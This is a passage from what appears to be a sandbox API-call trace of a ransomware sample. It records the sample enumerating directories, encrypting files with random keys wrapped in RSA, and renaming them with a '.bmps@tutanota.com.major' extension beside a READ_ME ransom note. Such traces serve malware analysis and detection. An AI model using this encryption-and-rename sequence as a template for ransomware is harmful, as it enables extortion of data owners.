pszString="SyjqD+YBci+qinj0qHFYqT1SrySPScYIcWTC84kjQve9A3ezlVkIBjBnxDUUmdft\nSJGG7lxSPglRedGsR3sedeuFUENFBOpTrV5c4Ap0cXHvCd1F3tcO6FOWm9X3twYC\nrYsGGEcSEAupNH4B051V3OQUY0ytv9RMxZzAUjik/uOZU3xkKm7RIKq407Uj7DtS\nJ/+UM80ICetBjk0E/k3ZnzyKS9XGk1euLJRWLvCfMuso0V6l3K2I1gVCEL/wsRSw\nWPQ5QjvDXlNh8X3BmM8ThOTKFa8XEo+lvtmx5X2RVIJ2HdrjVSQdY6Qb37Ug5KBH\nX20p+yaz7vyEUAXAGR72HA==\n", pcchString=0x2e3f9a8) returned 1 [0141.951] WriteFile (in: hFile=0x4e0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.951] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.951] WriteFile (in: hFile=0x4e0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.951] CloseHandle (hObject=0x4e0) returned 1 [0141.951] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.951] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\3076\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.953] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0141.953] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.953] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0141.953] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0141.953] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0141.953] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.953] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.953] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\3076\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0141.953] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0141.953] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0141.953] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0141.953] CreateFileW (lpFileName="\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0141.953] GetFileSizeEx (in: hFile=0x4e0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=60816) returned 1 [0141.953] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xed90) returned 0x60d870 [0141.953] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xed90) returned 0x2f40048 [0141.954] ReadFile (in: hFile=0x4e0, lpBuffer=0x60d870, nNumberOfBytesToRead=0xed90, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0xed90, lpOverlapped=0x0) returned 1 [0142.001] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=-60816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.001] WriteFile (in: hFile=0x4e0, lpBuffer=0x2f40048*, nNumberOfBytesToWrite=0xed90, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesWritten=0x2e3f9b4*=0xed90, lpOverlapped=0x0) returned 1 [0142.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0142.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0142.002] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xed90 [0142.002] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.003] WriteFile (in: hFile=0x4e0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.003] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.003] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.003] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.003] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="QhBviCBxuJvhKeGiLMiWXyOYlf1ccRym6RqL0W6XqkxpcbnNJjTTchwHBfvJ4EPl\nAknKIiZtPu45DNb1/G6cYhEubWSRs33vxhRDSGTncK8Dyjk3n6EzLQyZDhAo2Wjl\nPlPe0wpTwYBa4UHgeLxAjVQPve5IlXpW4fUT230OhBEs1h1OwryszjmoJAR9S6wq\naKHU+WAqRmy2Vn/IqXgjpv1KA3sSysKEbtNsuZcVbt0v97Og7WMOXWEGDN+UX4qm\nnzHoCzCHglNtS2PDTGqeQL7+M94kBOqDGZu9gdiAqXlfgFqFsaq+a8Zk4a96SI4C\nifOrYXKSEDxm57JjO6jVQw==\n", pcchString=0x2e3f9a8) returned 1 [0142.003] WriteFile (in: hFile=0x4e0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.003] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.003] WriteFile (in: hFile=0x4e0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.003] CloseHandle (hObject=0x4e0) returned 1 [0142.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.003] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\3076\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0142.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0142.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0142.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.005] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.005] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\3076\\eula.rtf", dwFileAttributes=0x80) returned 1 [0142.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0142.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0142.005] CreateFileW (lpFileName="\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0142.005] GetFileSizeEx (in: hFile=0x4e0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6309) returned 1 [0142.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18a5) returned 0x60d870 [0142.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18a5) returned 0x60f120 [0142.005] ReadFile (in: hFile=0x4e0, lpBuffer=0x60d870, nNumberOfBytesToRead=0x18a5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x18a5, lpOverlapped=0x0) returned 1 [0142.026] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=-6309, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.027] WriteFile (in: hFile=0x4e0, lpBuffer=0x60f120*, nNumberOfBytesToWrite=0x18a5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60f120*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18a5, lpOverlapped=0x0) returned 1 [0142.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0142.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f120 | out: hHeap=0x570000) returned 1 [0142.027] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18a5 [0142.027] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.027] WriteFile (in: hFile=0x4e0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.027] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.027] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.027] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.027] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="LrxBxS7y78rdA9KGPuWReu6dmlNIvfh1LOXo2/DqHslQfWr23H+NZ4bEu05AdJB0\n31KyFxNF9Tt7qnCsymPKeyL28V12w6lR5M+yswgU4sKEEwySGc2lrXDaDqhrr1ve\nLbK3bTeVSaPwlUUdAt5RIGXjx1fdDvu55WjoWgWQGiNAr9x0q02WKRVILoWkTFaU\nvS1CEWDi0reobLl8ctugvUzzraqP6R2KLh94cEi3f5EPe2RqrJ9JIwVyGcoq8sNs\nT+YHauks/VbyRranfRwZTnJI9e6uDlFNQM76LLibIj8ZZERKu1S9Rm387cF2LA9y\nK5HXErurWD+bODXlz1IZjg==\n", pcchString=0x2e3f9a8) returned 1 [0142.027] WriteFile (in: hFile=0x4e0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.027] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.027] WriteFile (in: hFile=0x4e0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.027] CloseHandle (hObject=0x4e0) returned 1 [0142.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.028] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\3076\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0142.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0142.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0142.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0142.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca08 | out: hHeap=0x570000) returned 1 [0142.029] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x896a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b52b0 [0142.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0142.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0142.029] GetLastError () returned 0x0 [0142.029] SetLastError (dwErrCode=0x0) [0142.029] GetLastError () returned 0x0 [0142.029] SetLastError (dwErrCode=0x0) [0142.029] GetLastError () returned 0x0 [0142.029] SetLastError (dwErrCode=0x0) [0142.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb68 [0142.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0142.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b58b0 [0142.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58b0 | out: hHeap=0x570000) returned 1 [0142.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0142.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0142.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb68 | out: hHeap=0x570000) returned 1 [0142.030] FindNextFileW (in: hFindFile=0x5b52b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x896a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0142.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0142.030] GetLastError () returned 0x0 [0142.030] SetLastError (dwErrCode=0x0) [0142.030] GetLastError () returned 0x0 [0142.030] SetLastError (dwErrCode=0x0) [0142.030] GetLastError () returned 0x0 [0142.030] SetLastError (dwErrCode=0x0) [0142.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0142.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bef20 [0142.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0142.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b56b0 [0142.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b56b0 | out: hHeap=0x570000) returned 1 [0142.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404c8 [0142.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404c8 | out: hHeap=0x570000) returned 1 [0142.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0142.030] FindNextFileW (in: hFindFile=0x5b52b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0142.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0142.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0142.030] GetLastError () returned 0x0 [0142.031] SetLastError (dwErrCode=0x0) [0142.031] GetLastError () returned 0x0 [0142.031] SetLastError (dwErrCode=0x0) [0142.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0142.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0142.031] GetLastError () returned 0x0 [0142.031] SetLastError (dwErrCode=0x0) [0142.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0142.031] FindNextFileW (in: hFindFile=0x5b52b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0142.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0142.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0142.031] GetLastError () returned 0x0 [0142.031] SetLastError (dwErrCode=0x0) [0142.031] GetLastError () returned 0x0 [0142.031] SetLastError (dwErrCode=0x0) [0142.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0142.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0142.031] GetLastError () returned 0x0 [0142.031] SetLastError (dwErrCode=0x0) [0142.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0142.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0142.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0142.031] FindNextFileW (in: hFindFile=0x5b52b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896a0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x896a0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x896a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0142.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0142.031] GetLastError () returned 0x0 [0142.031] SetLastError (dwErrCode=0x0) [0142.031] GetLastError () returned 0x0 [0142.031] SetLastError (dwErrCode=0x0) [0142.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0142.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0142.031] GetLastError () returned 0x0 [0142.031] SetLastError (dwErrCode=0x0) [0142.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.031] FindNextFileW (in: hFindFile=0x5b52b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0142.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0142.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0142.032] GetLastError () returned 0x0 [0142.032] SetLastError (dwErrCode=0x0) [0142.032] GetLastError () returned 0x0 [0142.032] SetLastError (dwErrCode=0x0) [0142.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0142.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0142.032] GetLastError () returned 0x0 [0142.032] SetLastError (dwErrCode=0x0) [0142.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0142.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0142.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0142.032] FindNextFileW (in: hFindFile=0x5b52b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0142.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0142.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.032] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.032] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\3082\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0142.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0142.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0142.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0142.032] CreateFileW (lpFileName="\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, 